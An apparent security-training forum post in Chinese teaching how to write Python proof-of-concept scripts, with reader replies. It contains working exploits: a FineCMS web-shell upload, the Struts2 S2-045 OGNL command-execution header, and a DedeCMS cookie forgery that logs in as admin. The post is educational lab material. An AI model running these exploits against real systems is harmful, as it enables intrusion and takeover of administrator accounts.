用户
搜索
回帖奖励 6 魔法币 回复本帖可获得 6 魔法币奖励! 每人限 1 次
  • TA的每日心情
    奋斗
    2018-2-13 11:39
  • 签到天数: 91 天

    连续签到: 3 天

    [LV.6]常住居民II

    管理员

    Supreme玩家

    Rank: 9Rank: 9Rank: 9

    67

    主题

    2234

    帖子

    5288

    魔法币
    收听
    0
    粉丝
    75
    注册时间
    2016-2-5

    楚核心白帽i春秋签约作者白帽传说春秋游侠秦燕魏赵齐突出贡献

    发表于 2018-1-31 23:04:29 4830335
    本文原创作者:阿甫哥哥,本文属i春秋原创奖励计划,未经许可禁止转载
    0.jpg
    系列文章专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=96
    目录:
    2x15 代码执行类漏洞POC编写(上)

    2x16 代码执行类漏洞POC编写(下)

    2x17 任意用户登录类漏洞POC编写

    2x15 代码执行类漏洞POC编写(上)
    很多人会问代码执行漏洞和命令执行的区别.....
    说实话,我也说不太清
    论坛还有过讨论....我还算支持海贼表哥的答案
    传送门:命令执行漏洞与远程代码执行漏洞有何区别?
    我贴下答案
    命令执行 一般指系统命令
    远程代码执行 一般指的是脚本代码
    读英文就很容易理解了
    远程命令执行:Remote Command Execution
    远程代码执行:Remote Code Execution
    一个是Command 一个是Code
    执行范围不好说.....
    因为eval也可以system() 执行系统命令
    同样system也可以php -r "phpcode"执行php代码
    只能从漏洞自身导致的原因来说
    如果可控的地方用于执行操作系统命令(command) 就是"命令"执行
    如果可控的地方用于执行脚本代码(code) 就属于 "代码"执行

    详情自己看去吧....其实我的见解呢....
    命令执行漏洞是攻击者可以随意执行系统命令...他属于代码执行漏洞......
    这里,咱们不深究它,我就姑且把命令执行算在代码执行中了....
    那就先说代码执行吧....先举个栗子吧....

    [PHP] 纯文本查看 复制代码
    <?php
    $var = "var";
    if (isset($_GET["arg"]))
    {
            $arg = $_GET["arg"];
            eval("\$var = $arg;");
            echo "\$var =".$var;
    }
    ?>

    访问链接...
    http://localhost/commanddemo/demo.php?arg=phpinfo();
    47.jpg
    POC:

    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    
    def POC(attack_url):
            attack_payload = '?arg=phpinfo();'
            attack_req = requests.get(url=attack_url+attack_payload)
            if 'system' in attack_req.text:
                    print True
            else:
                    print False
    if __name__ == '__main__':
            POC('http://localhost/commanddemo/demo.php')
    

    接下来我找了个栗子Finecms
    这里有漏洞分析还有漏洞环境....请戳
    https://www.ichunqiu.com/course/59007
    复现一下...
    payload:
    /index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+



    48.jpg
    然后shell在/uploadfile/member/0/0x0.php
    49.jpg
    然后复现了之后,就可以根据这些写POC了

    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    
    def POC(target):
            attack_payload = '/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+'
            attack_req = requests.get(url=target+attack_payload)
            shell_url = target + '/uploadfile/member/0/0x0.php'
            shell_req = requests.get(url=shell_url)
            if 'system' in shell_req.text:
                    print True
            else:
                    print False
    if __name__ == '__main__':
            POC('http://localhost/')
    

    2x16 代码执行类漏洞POC编写(下)
    该说命令执行了.....
    先举个栗子...
    [PHP] 纯文本查看 复制代码
    <?php $cmd=$_GET['cmd']; system($cmd); ?>

    这里用ping -n 3 xxx.com || ping -c 3 xxx.com命令验证
    windows和unix都适用.....
    http://localhost/commanddemo/demo2.php?cmd=ping%20-n%203%20ichunqiu.com
    50.jpg
    POC:
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    import sys
    
    def POC(target):
        attack_payload = '?cmd=ping%20-n%203%20ichunqiu.com'
        attack_req = requests.get(url=target+attack_payload)
        if attack_req.status_code==200 and 'Ping ichunqiu.com' in attack_req.text:
            print True
        else:
            print False
    def main():
        arg = sys.argv
        attack_url = ''
        if len(arg) == 2:
            attack_url = arg[1]
            POC(attack_url)
        else:
            print "Usage: python %s target" % (arg[0]) 
    if __name__ == '__main__':
        main()

    接下来,我找个栗子,是CVE-2017-5638,漏洞分析请戳:
    Struts2远程命令执行漏洞 S2-045
    实验地址:https://www.ichunqiu.com/course/57725

    实验环境中有过程很详细....我也懒得复现了......
    直接贴POC了,网上也有很多...我也造个轮子..
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
     
    import requests
    import sys
     
    def POC(url):
        header = dict()
        header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+"ping ichunqiu.com"+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        attack_req = requests.get(url,headers=header,timeout=5)
        if "Ping ichunqiu.com" in attack_req.text:
            print True
        else:
            print False
    def main():
        arg = sys.argv
        attack_url = ''
        if len(arg) == 2:
            attack_url = arg[1]
            POC(attack_url)
        else:
            print "Usage: python %s domain" % (arg[0]) 
    if __name__ == '__main__':
        main()

    2x17 任意用户登录类漏洞POC编写
    顾名思义,就是登录任意用户,本文拿Dedecms最新版的漏洞作为栗子
    漏洞分析:代码审计| DEDECMS -V5.7-UTF8-SP2-20180109漏洞集合
    我直接引用这篇帖子的图片吧...
    懒得复现了..
    访问http://127.0.0.1/member/index.php?uid=0001 uid是攻击者的uid
    094418tlmd8bbt82c4y2ky.png.thumb.jpg
    登录0001,cookie值是这样的
    094448l265h2uzcc0xujee.png.thumb.jpg
    将last_vid的值赋给DedeUserID,last_vid__ckMd5的值赋给DedeUserID__ckMd5修改后的cookie
    094515h1464sw6zf8edew7.png.thumb.jpg
    修改后刷新页面登录到admin用户中。
    094700mlp2g41l44xx2sl2.png.thumb.jpg


    假装复现了之后,开始POC编写
    加了判断会员开启功能..
    感谢@大哥哥团长
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    import re
    import sys
    
    def GetCookie():
        cookie = raw_input(" Please paste the cookie:").split(';')
        cookies = {}
        for i in range(0,len(cookie)):
            name,value=cookie[i].strip().split('=',1)
            cookies[name] = value
        return cookies
    def attack(target):
        userid = '1heihei'
        s = requests.Session()
        if '系统关闭了会员功能' in requests.get(target + 'member/reg_new.php').content:
            exit('The system has closed the member function .Can not attack !!!')
        else:
            print "The system opened the membership function!"
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
                   "Content-Type": "application/x-www-form-urlencoded"}
        cookie = GetCookie()
        rs = s.get(target + "/member/index.php?uid={userid}".format(userid=userid),cookies=cookie)
        searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
        last_vid__ckMd5 = searchObj.group(1)
        s.cookies['DedeUserID'] = userid
        s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
        rs = s.get(target + "/member/index.php")
        if "class=\"userName\">admin</a>" in rs.text:
            print "Administrator login successful !!!"
        else:
                print "Administrator login failed !!!"
    def main():
        arg = sys.argv
        target = ''
        if len(arg) == 2:
            target = arg[1]
            attack(target)
        else:
            print "Usage: python %s domain" % (arg[0]) 
    if __name__ == "__main__":
            main()

    53.gif
    彩蛋篇
    CTF工具之Base64编码解码
    这里用的是Python中的base64模块
    使用方法
    加密python item.py -encode
    解密python item.py -decode
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    import base64
    import sys
    
    def main():        
                    mode = sys.argv[1]
                    if mode == "-encode":
                            message = raw_input("Enter a String to Encode: ")
                            byte_string = message.encode('utf-8')
                            encoded_data = base64.b64encode(byte_string)
                            print "base64 : \t",encoded_data
                    if mode == "-decode":
                            message = raw_input("Enter base64 to Decode: ")
                            decoded = base64.b64decode(message)
                            print "Decoded: ",decoded
    if __name__ == '__main__':
            main()

    54.gif


    评分

    参与人数 4积分 +150 魔法币 +20 收起 理由
    小莫ss + 100 感谢你的分享,i春秋论坛有你更精彩!.
    icq7b64725h + 5
    yitu + 5
    mozas + 50 + 10 感谢你的分享,i春秋论坛有你更精彩!.

    查看全部评分

    本帖被以下淘专辑推荐:

    一位特爱收藏Supreme的大哥哥....
    发表于 2018-1-31 23:06:00
    说明一下,我的GetCookie是如图写的,这个代码编辑器有问题,将就看吧....我尽力了...

    回复即送魔法币!!!
    专辑求关注,求评分
    Python大法从入门到编写POC
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    厉害了~宝宝~写了这么多~加油哦~ヾ(◍°∇°◍)ノ゙ヾ(◍°∇°◍)ノ゙~(。≧3≦)ノ⌒☆ ~(。≧3≦)ノ⌒☆ 看我这回复走心吧~

    评分

    参与人数 1魔法币 +500 收起 理由
    阿甫哥哥 + 500 走心......

    查看全部评分

    使用道具 举报 回复

    回帖奖励 +6 魔法币

    小莫ss 发表于 2018-2-1 10:41
    厉害了~宝宝~写了这么多~加油哦~ヾ(◍°∇°◍)ノ゙ヾ(◍°∇°◍)ノ゙~(。≧3≦)ノ⌒☆ ~(。≧3 ...

    ........................
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    阿甫哥哥 发表于 2018-1-31 23:06
    回复即送魔法币!!!专辑求关注,求评分
    Python大法从入门到编写POC

    写的很好,加油
    使用道具 举报 回复
    鸭子 i春秋-见习白帽 一只深造学习的鸭(深度发
    推荐
    发表于 2018-2-1 12:33:26

    回帖奖励 +6 魔法币

    水军(66666666666666666666666)魔法币不要998只要一个回复到你家,不亏不亏(我为水军代言)
    追求自由,自律 学习<strong><font color=&quot;Red&quot;>
    使用道具 举报 回复
    发表于 2018-2-2 09:35:38

    回帖奖励 +6 魔法币

    命令执行 &&  代码执行  算是明白了
    no pain no gain
    使用道具 举报 回复
    发表于 2018-1-31 23:28:50

    回帖奖励 +6 魔法币

    支持,。。。。。。加油^0^~
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    我是来挣魔法币的...不得不说楼主写的很好
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    不明觉厉,不过好用,谢谢分享
    the quieter you become,the more you are able to hear
    使用道具 举报 回复
    发表于 2018-2-1 08:36:30

    回帖奖励 +6 魔法币

    给个回复挣个魔法币
    使用道具 举报 回复
    发表于 2018-2-1 08:38:58

    回帖奖励 +6 魔法币

    6666666,产出真高
    使用道具 举报 回复
    发表于 2018-2-1 10:03:10

    回帖奖励 +6 魔法币

    66666666666666666一直学习中!谢分享
    使用道具 举报 回复
    发表于 2018-2-1 10:03:58

    回帖奖励 +6 魔法币

    感谢表哥的付出   
    使用道具 举报 回复
    发表于 2018-2-1 10:53:56

    回帖奖励 +6 魔法币

    收获很大,加油哦!!!!!
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    这个就很6了 学习一波
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    好!不懂
    hhh
    使用道具 举报 回复
    1234下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册